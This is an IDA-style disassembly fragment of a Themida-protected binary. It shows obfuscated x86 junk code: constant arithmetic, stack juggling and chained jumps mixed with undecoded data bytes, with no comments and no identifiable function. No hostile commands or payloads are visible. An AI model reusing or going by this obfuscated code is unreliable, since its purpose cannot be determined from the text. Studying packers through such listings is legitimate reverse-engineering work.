		mov	ebx, 587F7D5Ch
		push	ebx
		dec	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_568E67
; ---------------------------------------------------------------------------
aVsi		db 'Véˆ ',0
		db 0
; ---------------------------------------------------------------------------


loc_570CAD:				; CODE XREF: Themida_:005743C3j
		sub	edx, 39ED111Ch
		add	edx, edi
		add	edx, 39ED111Ch
		push	37CDh
		jmp	loc_56DF7F
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 73036B04h, 348B5B61h, 4C48324h, 738068h, 0E2AAE900h
		dd 0E954FFFFh, 0FFFF3F60h
dword_570CE4	dd 2B2A05ADh, 0D8012BF7h, 0E904EC83h, 0FFFF6ECAh, 28C3F680h
					; DATA XREF: Themida_:0055FF20o
		dd 9E95AF3h, 5100003Dh,	6B7BC8B9h, 5E9C174h, 0FF8D5DE9h
		dd 242C87FFh, 4EC835Ch,	0B9240C89h, 3CD64E29h, 195DE9h
		dd 4BB00h, 0D8010000h, 618DE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D2E:				; CODE XREF: Themida_:00570BEDj
		not	edi
		push	ecx
		mov	ecx, 0B651D3E4h
		xor	edi, ecx
		jmp	loc_56A874
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 11h
		dd 89FFFF2Dh, 2434FFF3h, 0FFBC43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570D4D:				; CODE XREF: Themida_:00563278j
		sub	ebp, 60DB41C7h
		jmp	loc_560FC8
; ---------------------------------------------------------------------------
		dd 83240C89h, 248904ECh, 4B85024h, 1000000h, 58042444h
		dd 20126859h, 34890000h, 69ECBE24h, 0E951763Ch,	264Ah
; ---------------------------------------------------------------------------


loc_570D80:				; CODE XREF: Themida_:0056F8DBj
		pop	edi
		xor	ebx, [esp]
		jmp	loc_56E19D
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 13h
		dd 18AB495h, 640559CBh,	0E978924Ch, 11CCh, 4C581h, 57E90000h
		dd 0F7000001h, 1BE92414h, 81FFFFE2h, 54B364C6h,	5EF22960h
		dd 26A1F281h, 0F2817BD2h, 212F858h, 87E9D029h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570DCB:				; CODE XREF: Themida_:00561D66j
		pop	ebp
		neg	edi
		xor	edi, 1EC6C30h
		push	1701h
		jmp	loc_56AA02
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0EC815124h, 4, 0B0240489h, 8BC1887Bh, 0C4812404h, 4
		dd 0FE05E1C0h, 0CF81E9C9h, 0DDF6FFFFh, 3096B050h, 0E82858C5h
		dd 0E9240C8Bh, 0FFFF11A0h, 7470F0B9h, 2BBA5241h, 135EA38h
		dd 0AAE95AD1h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_570E27:				; CODE XREF: Themida_:00574B05j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_56B307
; ---------------------------------------------------------------------------
		dd 6C69BE56h, 78E9587Ah, 8BFFFF95h, 0C4812404h,	4, 0FF5EF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570E51:				; CODE XREF: Themida_:0056220Dj
		and	eax, edx
		jmp	loc_567995
; ---------------------------------------------------------------------------
		dd 22F18149h, 0C148C913h, 22E904E9h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570E67:				; CODE XREF: Themida_:0056EFC5j
		add	bl, al
		sub	bl, 8Ch
		add	bl, 70h
		add	bl, 3
		sub	bl, 0B9h
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_57060E
; ---------------------------------------------------------------------------
byte_570E81	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055FD00o
		dd 8324048Bh, 0EC8304C4h, 901AE904h, 0ED81FFFFh, 0FD33847Dh
		dd 0FF90C0E9h, 242C89FFh, 8CE9E589h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570EA7:				; CODE XREF: Themida_:00566701j
		shl	ch, 1
		jmp	loc_56625B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 3FADAB44h, 1C8B5A53h, 4C48324h, 0AEB8C281h, 0D189C289h
		dd 0D7EE815Ah, 14E6057h, 74B850CEh, 5228BF76h, 0A0E163BAh
		dd 5AD00125h, 0FFD874E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570EE1:				; CODE XREF: Themida_:00560705j
		pop	ebx
		push	ebp
		jmp	loc_562F88
; ---------------------------------------------------------------------------
		dd 55D6F75Fh, 0AB1ADABDh, 0B75E92Dh, 2C89FFFFh,	4A03E924h
		dd 0ED83FFFFh, 242C8704h, 240C895Ch, 70E95556h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570F0F:				; CODE XREF: Themida_:0056059Fj
		sub	esp, 4
		mov	[esp], ebx
		push	4AECh
		mov	[esp], edx
		jmp	loc_56E400
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 8BFB0100h, 8950243Ch, 405E0h, 0BF570000h, 4, 875FF801h
		dd 525C2404h, 4EC81h, 4890000h,	6F9FB824h, 8EE95ED4h, 5BFFFF3Fh
		dd 0E9E78957h, 0FFFFED31h
; ---------------------------------------------------------------------------


loc_570F64:				; CODE XREF: Themida_:00563233j
		push	ecx
		push	4946h
		mov	[esp], edx
		push	58Dh
		jmp	loc_560AF7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0F51BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570F82:				; CODE XREF: Themida_:00566832j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56F7F2
; ---------------------------------------------------------------------------


loc_570F8D:				; CODE XREF: Themida_:00567C99j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		dec	dl
		or	dl, 1Eh
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 306140E8h
		or	ebp, 4297637Eh
		or	ebp, 64652738h
		push	ebx
		jmp	loc_563E19
; ---------------------------------------------------------------------------


loc_570FB7:				; CODE XREF: Themida_:00568B50j
		sub	esp, 4
		mov	[esp], esi
		xor	dword ptr [esp], 418D31C3h
		pop	ebx
		xor	ebx, 418D31C3h
		pop	esi
		jmp	loc_565F2C
; ---------------------------------------------------------------------------
		db 0FFh, 4, 24h
		dd 0EFC5E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570FDA:				; CODE XREF: Themida_:0056B424j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_56403B
; ---------------------------------------------------------------------------
		db 31h,	0FAh, 5Fh
		dd 0B217F281h, 17E9AFC7h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571003:				; CODE XREF: Themida_:00574576j
		push	esi
		mov	esi, esp
		jmp	loc_57347C
; ---------------------------------------------------------------------------
aS5		db '[é5',1Bh,0
		dd 4C48100h, 29000000h,	242C8BE8h, 8304C483h, 0C8904ECh
		dd 459E6824h, 5359134Fh, 9E00CD68h, 241C8B5Fh, 8904EC83h
		dd 3DE92414h, 5C00001Ch, 2B850h, 0BF570000h, 41C54EF1h
		dd 3EFC14Fh, 36E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_571055:				; CODE XREF: Themida_:00572344j
		pop	edi
		jmp	loc_57210B
; ---------------------------------------------------------------------------
		db 81h
		dd 615C1EEAh, 242C8B2Dh, 0E904C483h, 0FFFF4A71h, 43FFC383h
		dd 8108E3C1h, 8B3DD9EBh, 5BDD2912h, 0FF111CE9h,	0E95D59FFh
		dd 20DFh, 0D2B35366h, 5B66D800h, 7504D504h, 8B2434FFh
		dd 18E9241Ch
		db 9Eh,	2 dup(0FFh)
byte_57109F	db 68h			; DATA XREF: Themida_:0055FEC0o
		dd 1FDEh, 0E9243489h, 0FFFFC521h, 4BE56h, 0F5010000h, 0FF9612E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5710B9:				; CODE XREF: Themida_:00574E39j
		mov	edx, ebp
		pop	ebp
		xor	esi, edx
		jmp	loc_56395A
; ---------------------------------------------------------------------------


loc_5710C3:				; CODE XREF: Themida_:00564CF6j
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 3FD319C6h
		jmp	loc_56F61F
; ---------------------------------------------------------------------------


loc_5710E1:				; CODE XREF: Themida_:0056E21Bj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_56E5D0
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEEEA3h
; ---------------------------------------------------------------------------


loc_5710FC:				; CODE XREF: Themida_:00565DF3j
		dec	al
		xor	al, 0B8h
		mov	dh, al
		pop	eax
		jmp	loc_56A82B
; ---------------------------------------------------------------------------


loc_571108:				; CODE XREF: Themida_:0056B7EBj
		pop	eax
		add	ebp, esi
		pop	esi
		add	ebp, esi
		sub	ebp, 597361B3h
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	3497h
		mov	[esp], edx
		push	eax
		mov	eax, 50E64775h
		add	eax, 2915283Fh
		xor	eax, 4FA8128Bh
		dec	eax
		xor	eax, 499E11D3h
		add	eax, 80329317h
		mov	edx, eax
		jmp	loc_56F48C
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0C5830000h, 74FF5504h, 2C8B0424h, 4C48324h
		dd 5C24048Fh, 0FF8B0EE9h, 2434FFFFh, 0FFFDE6E9h, 2AE950FFh
		dd 83FFFF1Bh, 1C8904ECh, 80E2B324h, 0D800D0C3h,	1F1AE9h
		db 0
; ---------------------------------------------------------------------------


loc_57118D:				; CODE XREF: Themida_:00571C19j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_569C1D
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EB8100h, 87000000h, 0F2E9241Ch, 2D000027h, 18F71FDCh
		dd 0FFABBFE9h
		db 0FFh
byte_5711C1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FCD8o
aHn		db '$h',27h,0
		align 2
		dw 0EAE9h
		dd 31FFFFE8h, 9FBEE9D7h, 685BFFFFh, 16F8h, 89241C89h, 0BBE951E3h
		dd 28FFFF6Ch, 24048BE5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	cx
		not	byte ptr [esp+1]
		pop	cx
		shr	ch, 5
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 70h
		or	dl, 0EEh
		sub	dl, 2Dh
		push	ax
		mov	ah, 35h
		jmp	loc_572628
; ---------------------------------------------------------------------------
		dd offset dword_5BB168
		align 2
		dw 1489h
		dd 88BBA24h, 0DCE90FE7h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571233:				; CODE XREF: Themida_:00564086j
		push	607D5FCCh
		pop	eax
		jmp	loc_56F507
; ---------------------------------------------------------------------------


loc_57123E:				; CODE XREF: Themida_:005650BEj
		mov	ecx, 522DE6D8h
		add	ecx, edx
		jmp	loc_56F379
; ---------------------------------------------------------------------------
		dw 68h
		dd 0E9000000h, 0FFFFC756h, 0E9E68956h, 0FFFF42DEh
; ---------------------------------------------------------------------------


loc_57125C:				; CODE XREF: Themida_:005605E7j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_566BD8
; ---------------------------------------------------------------------------
		dw 0B105h
		dd 5142270Dh, 4D2FB5B9h, 0B0E98131h, 8175E659h,	5D5BE3E9h
		dd 8E9C14Dh, 0FF2DC8E9h, 4EC83FFh, 0E9240C89h, 0FFFFFBA4h
		dd 3C8BF821h, 4C48124h,	35000000h, 114082h, 451F68h, 24048900h
		dd 37A7BB53h, 4481288Dh, 7FDC0424h, 5C015EDCh, 59E90424h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5712C3:				; CODE XREF: Themida_:005627C9j
		push	4C95h
		mov	[esp], ecx
		push	esi
		mov	esi, 191D3D5Dh
		mov	ecx, esi
		jmp	loc_561298
; ---------------------------------------------------------------------------
		dd 780520BBh, 8F91E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5712E2:				; CODE XREF: Themida_:00573B78j
		mov	bl, al
		mov	[edx], bl
		jmp	loc_56CC03
; ---------------------------------------------------------------------------


loc_5712EB:				; CODE XREF: Themida_:0056CC7Dj
		inc	eax
		dec	eax
		neg	eax
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_566125
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 24048B66h, 141568h, 242C8900h, 225868h, 24248900h
		dd 0FFEED2E9h, 34875BFFh, 48D8E924h, 8C68FFFFh,	89000020h
		dd 0EC812404h, 4, 24048F54h, 4240481h, 0FF000000h, 48B2434h
		dd 4C48124h, 51000000h,	0C1815954h, 4, 4C181h, 0C870000h
		dd 24248B24h, 4BF57h, 0FE050000h, 105F067h, 0A58DE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57136E:				; CODE XREF: Themida_:0056FF85j
		xor	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 7EFF61E7h
		push	4BC5h
		mov	[esp], edi
		mov	edi, 1D0C6B59h
		xor	ebp, edi
		pop	edi
		sub	edi, ebp
		jmp	loc_57252D
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 240C895Ch, 4EC81h, 8F540000h, 52E92404h
		db 0, 2	dup(0FFh)
byte_5713A7	db 52h			; DATA XREF: Themida_:0055FDB4o
		dd 3CBAh, 4A0B6800h, 4890000h, 11F8B824h, 0D40144Ah, 7D683644h
		dd 0DB735h, 8E8C101h, 0B1636335h, 58C20109h, 4EC81h, 4890000h
		dd 40D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5713DE:				; CODE XREF: Themida_:00567905j
		mov	edi, 38755226h
		add	edi, 48367338h
		jmp	loc_571B3F
; ---------------------------------------------------------------------------


loc_5713EE:				; CODE XREF: Themida_:00569139j
		pop	edx
		xchg	ebx, ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_565A87
; ---------------------------------------------------------------------------
		dd 59CF295Dh, 0E9242C8Bh, 0FFFEF7A9h, 255DE889h, 19D938F2h
		dd 0FF5FE6E9h, 0E68956FFh, 4C681h, 0C6830000h, 24348704h
		dd 2434FF5Ch, 0F5AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57142E:				; CODE XREF: Themida_:00566622j
		mov	[esp], ebx
		push	esi
		jmp	loc_568B4B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 0E9000000h, 0FFFF6FD8h, 465BDE89h,	456FCE81h
		dd 0C1461179h, 0DEF706E6h, 0FFFCEE81h, 0F101A1ADh, 5324348Bh
		dd 282EE954h, 5954FFFFh, 0FF5785E9h
		db 0FFh
aM0HG		db '¬0Øh/G',0           ; DATA XREF: Themida_:0055FEF0o
		dd 654CE900h, 2489FFFFh, 16EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571482:				; CODE XREF: Themida_:00566B32j
		dec	esi
		push	eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56BA56
; ---------------------------------------------------------------------------
		db 0B1h
		dd 38B05056h, 0E958C128h, 0FFFF33FFh, 486AC781h, 0EF8167A0h
		dd 5BF202DCh, 243C335Eh, 33243C31h, 248B243Ch, 0C8856624h
		dd 0EAE1E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5714BE:				; CODE XREF: Themida_:00562EB9j
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_56A284
; ---------------------------------------------------------------------------


loc_5714CE:				; CODE XREF: Themida_:0056E3A4j
		add	esp, 4
		push	6BA8h
		jmp	loc_56FF43
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEEABFh, 5BDF315Ah, 8103E7C1h, 740E29C7h,	5FF80101h
		dd 0FF3885E9h, 8CF581FFh, 8137A06Dh, 0ADBBA5F5h, 5DEF099Bh
		dd 0E9FFEF83h, 0B06h, 0F704C483h, 0FAC581DDh, 8165E56Ah
		dd 3D1ED4EDh, 5DE889F5h, 0B81C281h, 0C2297D5Bh,	0FF28C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57152D:				; CODE XREF: Themida_:00574034j
		mov	edi, 661715D5h
		inc	edi
		xor	edi, 6344361Ah
		add	ecx, edi
		pop	edi
		jmp	loc_569ED9
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 2414895Ch, 0FEEA52E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57154D:				; CODE XREF: Themida_:0056BCC7j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	edx, 16FC1E8Fh
		jmp	loc_574A34
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4EB8100h, 0E9000000h, 0FFFF1052h
; ---------------------------------------------------------------------------


loc_57157C:				; CODE XREF: Themida_:00564F94j
		add	dword ptr [esp], 3D1274E9h
		pop	esi
		not	esi
		inc	esi
		shr	esi, 3
		xor	esi, 0C4C08B1h
		mov	eax, esi
		jmp	loc_561F4A
; ---------------------------------------------------------------------------
		db 40h
		dd 82C1BB35h, 58C5016Ah, 7AE9EDD1h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5715A7:				; CODE XREF: Themida_:0056C46Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		pop	eax
		sub	[edi+24h], ebx
		jmp	loc_56BA40
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 2404BB0Fh, 236BE99Ch, 0EC830000h,	24048904h
		dd 0A8369DB8h, 58C5093Ch, 7BEAF581h, 0ED8147A3h, 5E100CE4h
		dd 0E906E5C1h, 0FFFFAA65h, 4EC81h, 0C890000h, 4B924h, 0EC810000h
		dd 4, 0E9243C89h, 0FFFFC134h, 0C681DE01h, 3A6D035Dh, 81241C8Bh
		dd 4C4h, 4C68100h, 56000000h, 42474FFh,	24048F5Eh, 0FF81C9E9h
		dd 4C483FFh, 58A168h, 0E522E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57163E:				; CODE XREF: Themida_:00571F63j
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xor	esi, [esp]
		jmp	loc_5601E6
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0D9CBD2EFh, 0E9F829FBh, 2237h, 243C895Ch, 1E9F68h, 6037E900h
		dd 1E68FFFFh, 89000008h, 0E589242Ch, 0FFE5A1E9h, 241C8BFFh
		dd 4C481h, 0E9570000h, 0FFFFD0FFh, 81242C8Bh, 4C4h, 0E1895100h
		dd 0E9E08950h, 36D2h
; ---------------------------------------------------------------------------


loc_5716A0:				; CODE XREF: Themida_:0056A08Ej
		push	ebx
		jmp	loc_561854
; ---------------------------------------------------------------------------


loc_5716A6:				; CODE XREF: Themida_:0056A8E0j
		not	edi
		jmp	loc_56A5CB
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0A2E90000h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5716B7:				; CODE XREF: Themida_:005654C9j
		mov	[esp], ebp
		jmp	loc_566781
; ---------------------------------------------------------------------------


loc_5716BF:				; CODE XREF: Themida_:00568641j
		pop	edi
		xor	edx, ebp
		jmp	loc_5701C2
; ---------------------------------------------------------------------------
		db 31h
		dd 0DBE95BDDh, 0FF00001Eh, 685F2434h, 655Fh, 54243489h
		dd 4C6815Eh, 0E9000000h, 0FFFFE374h
dword_5716E8	dd 24048B66h, 0FFC0C7E9h ; DATA	XREF: Themida_:0055FD38o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5716F1:				; CODE XREF: Themida_:005749F8j
		push	ebx
		push	edi
		push	2F5D2996h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_569A1C
; ---------------------------------------------------------------------------
		db 87h
		dd 36E9240Ch, 56FFFFABh, 2BEh, 0B623E900h, 4BEFFFFh, 1000000h
		dd 5E31E9F0h, 0ED81FFFFh, 0FFFFFFFFh, 0E2C1EA87h, 46A36808h
		dd 0F7E90000h, 5DFFFFA5h, 0FF7E92E9h, 4C483FFh,	7CBBB53h
		dd 41E906EBh, 0FEFFFF66h, 76C6E9C1h, 0E1F6FFFFh, 0FF2151E9h
		dd 24048BFFh, 7168h, 243C8900h,	0C781E789h, 4, 4BB53h
		dd 0DF010000h, 243C875Bh, 6824248Bh, 40Ch, 0B8240489h
		dd 2, 48BC529h,	33F8E924h, 87B80000h, 0F710BA06h, 0CD7E05D0h
		dd 0A7E9B9A4h, 5A000027h, 5204C483h, 0F3002AB6h, 0FFA059E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5717B1:				; CODE XREF: Themida_:0057034Dj
		push	esp
		jmp	loc_562DDF
; ---------------------------------------------------------------------------
		db 89h
		dd 79B3241Ch, 8005E3C0h, 0E380B4EBh, 94F3805Ch,	0D1F6CB86h
		dd 0C3FECB86h, 8008E3C0h, 0D8285CF3h, 5B2434FFh, 4C481h
		dd 51660000h, 0FF8A40E9h, 63685CFFh, 8900007Ah,	58562404h
		dd 0E958C589h, 0FFFFE803h
; ---------------------------------------------------------------------------


loc_5717FC:				; CODE XREF: Themida_:0056B4E7j
		inc	ecx
		or	ecx, 2694E2Eh
		sub	ecx, 0CAF683Eh
		xor	ecx, 6F782B36h
		xor	esi, ecx
		pop	ecx
		or	edx, esi
		pop	esi
		jmp	loc_5745BB
; ---------------------------------------------------------------------------


loc_57181A:				; CODE XREF: Themida_:005633F2j
		push	edi
		push	2832h
		mov	[esp], ecx
		mov	ecx, 635529EEh
		neg	ecx
		sub	ecx, 2C9D1FD3h
		and	ecx, 7CD65AA4h
		add	ecx, 6DEEF5Fh
		mov	edi, ecx
		pop	ecx
		add	edi, 602321E0h
		not	edi
		jmp	loc_57220E
; ---------------------------------------------------------------------------
		dd 5559CB01h, 782AB8BDh, 0B8ED8134h, 29B878D5h,	0E995E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571862:				; CODE XREF: Themida_:0056CBFEj
		push	78A6h
		mov	[esp], esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5687FB
; ---------------------------------------------------------------------------


loc_571875:				; CODE XREF: Themida_:00563E1Ej
		and	ebx, 4BE242DCh
		not	ebx
		and	ebx, 50400AC3h
		xor	ebx, 5BF23F6Fh
		and	ebp, ebx
		jmp	loc_5751A3
; ---------------------------------------------------------------------------
dword_571890	dd 240C8B66h, 0E904EC83h, 0FFFFEEF3h, 2C3685Bh,	14890000h
					; DATA XREF: Themida_:0055FEFCo
		dd 807CB224h
		db 0E2h, 0F3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5705C9
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFB67Ch
; ---------------------------------------------------------------------------


loc_5718C0:				; CODE XREF: Themida_:005653CEj
		mov	ebp, 3D0015Ah
		or	ebp, 5DCC3E3Ah
		inc	ebp
		xor	ebp, 24135872h
		add	ebp, 3C6D1AC1h
		xor	ebp, 0D9AAF922h
		add	esi, ebp
		pop	ebp
		jmp	loc_568B10
; ---------------------------------------------------------------------------
		dw 968h
		dd 5B132737h, 2ACEEB81h, 0DF89EC5Bh, 0DD0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5718F9:				; CODE XREF: Themida_:00574E52j
		xor	dl, al
		mov	eax, [esp]
		add	esp, 4
		xor	dl, cl
		pop	ecx
		push	eax
		push	ebx
		mov	bh, dl
		mov	ah, bh
		jmp	loc_56C0D6
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 0B6720507h, 0C1894973h, 0FF676DE9h, 240C89FFh, 42474FFh
		dd 68240C8Bh, 3C35h, 54241489h,	5624148Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 53575C24h, 4BBh, 0E9DF8900h, 0FFFEF89Eh
; ---------------------------------------------------------------------------


loc_571958:				; CODE XREF: Themida_:0056C2F6j
		mov	edx, eax
		jmp	loc_572A4C
; ---------------------------------------------------------------------------


loc_57195F:				; CODE XREF: Themida_:00562D50j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5643FF
; ---------------------------------------------------------------------------


loc_571974:				; CODE XREF: Themida_:00569A4Dj
		mov	[esp], ebx
		pop	edx
		push	esi
		push	edx
		push	edi
		jmp	loc_56C60A
; ---------------------------------------------------------------------------


loc_571980:				; CODE XREF: Themida_:005642B1j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, 51FD097Eh
		add	ecx, 75272EB2h
		sub	ecx, ebp
		push	esi
		jmp	loc_571CD1
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 0FFF5D2E9h, 0A8EF81FFh, 897E54DFh, 0E0C15FF8h, 59F5E903h
		dd 148BFFFFh, 4C48324h,	0FF06F6E9h, 24148BFFh, 4C481h
		dd 0C3800000h, 0B4EB8049h, 0FF71F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5719D5:				; CODE XREF: Themida_:00569634j
		pop	edi
		push	esi
		mov	esi, 73A25C98h
		or	esi, 0EED3807h
		jmp	loc_570657
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEE5B3h, 323DF3BAh, 57C2816Ch, 10A823Ah, 15E5AD1h
		dd 240C8BCAh, 4C481h, 0EA010000h, 0FFE0FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571A0D:				; CODE XREF: Themida_:005668F5j
		mov	dh, 0ACh
		neg	dh
		not	dh
		jmp	loc_57265C
; ---------------------------------------------------------------------------


loc_571A18:				; CODE XREF: Themida_:0056116Ej
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		jmp	loc_56F1B1
; ---------------------------------------------------------------------------
aISn		db '‰Êén$',0
		dw 5E00h
		dd 0FC38E950h, 815BFFFEh, 4ECh,	242C8900h, 42474FFh, 0E92434FFh
		dd 0FFFFDDAEh
dword_571A50	dd 24048B66h, 0FF89CAE9h, 0F2E950FFh, 81FFFF48h, 1E00A7EAh
					; DATA XREF: Themida_:0055FF40o
		dd 5AD72939h, 815FF989h, 141F1FC9h, 0E950412Ch,	0FFFF3F81h
; ---------------------------------------------------------------------------


loc_571A78:				; CODE XREF: Themida_:0056CBC1j
		pop	edi
		add	eax, 4
		jmp	loc_562097
; ---------------------------------------------------------------------------
		db 68h,	1Ch, 64h
		dd 0C15D7079h, 0F58106E5h, 4EB8043Ah, 0FF2115E9h, 0F7D9F7FFh
		dd 0C98141D1h, 3F327B34h, 1895BB53h, 7BE978F3h,	5AFFFEF1h
		dd 0E924348Bh, 0C07h, 8804C483h, 66EFE9EEh, 0C180FFFFh
		dd 3D24E94Ah, 48BFFFFh,	4C48324h, 4E981h, 0C870000h, 927BE924h
		dd 0C89FFFFh, 0E2D8E924h, 0B8E9FFFFh, 0F7FFFEE4h, 0CEC281D2h
		dd 81667C75h, 142728C3h, 81D30163h, 142728EBh, 24148B63h
		dd 0FFC85BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571B05:				; CODE XREF: Themida_:00568A09j
		add	esp, 2
		jmp	loc_56F903
; ---------------------------------------------------------------------------
		db 0B7h, 96h, 0F6h
		dd 80D7F6D7h, 0E980F2EFh, 82C18097h, 0E980F928h, 97B75382h
		dd 5B5BF900h, 8059CA30h, 0EA80ACE2h, 4EC818Dh, 89000000h
		dd 0F1E92404h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571B3F:				; CODE XREF: Themida_:005713E9j
		push	esi
		mov	esi, 6DBB0903h
		shr	esi, 6
		xor	esi, 31474559h
		xor	esi, 7BC4451Ch
		push	387Eh
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_573270
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0F3h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571B6B:				; CODE XREF: Themida_:005686A9j
		pop	esp
		push	6EC7h
		jmp	loc_56EC17
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 241C8B66h, 0FF5B7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571B81:				; CODE XREF: Themida_:00568CCDj
		add	ebp, edi
		pop	edi
		add	ebx, 671E3DCBh
		jmp	loc_5632B5
; ---------------------------------------------------------------------------
		db 0F7h
		dd 76BA52DFh, 0C1463E1Eh, 1EE902EAh, 89FFFEFBh,	34FF2404h
		dd 2434FF24h, 5724048Bh, 0FF3EEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571BB1:				; CODE XREF: Themida_:00561E84j
		xor	edx, eax
		xor	eax, edx
		jmp	loc_56A17B
; ---------------------------------------------------------------------------


loc_571BBA:				; CODE XREF: Themida_:0056BF74j
		or	ebp, 4F0E03DDh
		push	ecx
		jmp	loc_56700B
; ---------------------------------------------------------------------------
		dw 3158h
